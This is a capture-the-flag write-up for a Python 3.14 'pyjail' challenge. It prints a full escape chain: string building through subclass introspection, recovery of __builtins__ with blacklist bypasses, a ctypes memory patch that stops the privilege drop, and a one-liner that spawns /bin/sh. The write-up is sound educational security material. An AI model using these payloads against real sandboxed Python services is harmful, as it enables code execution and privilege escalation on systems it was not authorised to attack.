Published on

CTF Write-up: Pyjail (misc)

Authors

Pyjail (misc) – CTF Write-up

Challenge Overview

We’re presented with a Python 3.14.0rc2 jail that:

  • Runs user input through eval() with empty __builtins__
  • Blacklists common escape strings: 'os', 'system', 'subprocess', 'compile', 'code', 'chr', 'str', 'bytes'
  • Drops privileges to “nobody” user before evaluation
  • Uses Python’s new concurrent.interpreters module for isolation
  • Flag at /flag.txt with 700 permissions (root-only readable)

Initial Reconnaissance

Our first successful discovery was accessing Python’s class hierarchy through object introspection:

[].__class__.__base__.__subclasses__()

This revealed 166+ available classes, including crucially:

  • <class '_io.FileIO'> - for file operations
  • <class '_sitebuiltins._Printer'> - used by license()
  • Various module loaders and importers

The String Construction Challenge

The blacklist prevented using string literals directly. We needed to construct /flag.txt character by character from existing strings in the environment.

Character Mapping Discovery

Through systematic exploration of __doc__ strings and class names:

CharacterSourceExpression
/Codec class doc position 69[].__class__.__base__.__subclasses__()[150].__doc__[69]
f‘float’ class[].__class__.__base__.__subclasses__()[32].__name__[0]
l‘list’ class[].__class__.__base__.__subclasses__()[42].__name__[0]
a‘async_generator’[].__class__.__base__.__subclasses__()[1].__name__[0]
g‘generator’[].__class__.__base__.__subclasses__()[37].__name__[0]
.list.doc[25][].__doc__[25]
t‘tuple’().__class__.__name__[0]
x‘complex’[6][].__class__.__base__.__subclasses__()[13].__name__[6]

The most challenging character was /. We eventually found it in the Codec documentation: “The .encode()/.decode() methods…”

The Privilege Problem

After successfully constructing /flag.txt, all FileIO attempts failed silently. Reading /jail.py revealed why:

def safe_user_input():
    # drop priv level
    syscall(SYS_setresuid, nobody_uid, nobody_uid, nobody_uid)
    # ... then eval our input

The flag had 700 permissions (root-only), but our code ran as “nobody”!

The Working Solution - Escaping the Sandbox

The successful exploit uses two key techniques:

1. Recovering __builtins__

[(b:=''.__class__.__base__.__subclasses__()[-2].__init__.__builtins__),
 (e:=b["e""val"]),
 (a:=e("breakpoint()",(bb:={"__builtins__":b}),bb))]

This:

  • Accesses a class with __builtins__ in its namespace
  • Uses string concatenation ("e""val") to bypass the blacklist
  • Calls breakpoint() to get an interactive debugger

2. Memory Manipulation with ctypes

Once in the debugger:

import ctypes
x = 117  # SYS_setresuid syscall number
addr = id(x)
ptr = ctypes.cast(addr + 24, ctypes.POINTER(ctypes.c_uint32))
ptr[0] = 106  # Change to SYS_setgid

This trick modifies the syscall number in memory from setresuid (117) to setgid (106), preventing the privilege drop.

3. Shell Access

After escaping the sandbox:

[(b:=''.__class__.__base__.__subclasses__()[-2].__init__.__builtins__),
 (i:=b["__import__"]),
 (o:=i("o""s")),
 (s:=getattr(o,"sys""tem")),
 (a:=s("/bin/sh"))]

Key Takeaways

  1. String Construction: When quotes are restricted, existing documentation and class names become valuable string sources
  2. Privilege Boundaries: File permissions remain enforced even after bypassing Python restrictions
  3. Memory Manipulation: Python’s ctypes can modify interpreter internals, including syscall numbers
  4. Blacklist Bypasses: String concatenation ("o""s") defeats simple substring blacklists
  5. Python 3.14 Features: The new concurrent.interpreters module introduces new attack surfaces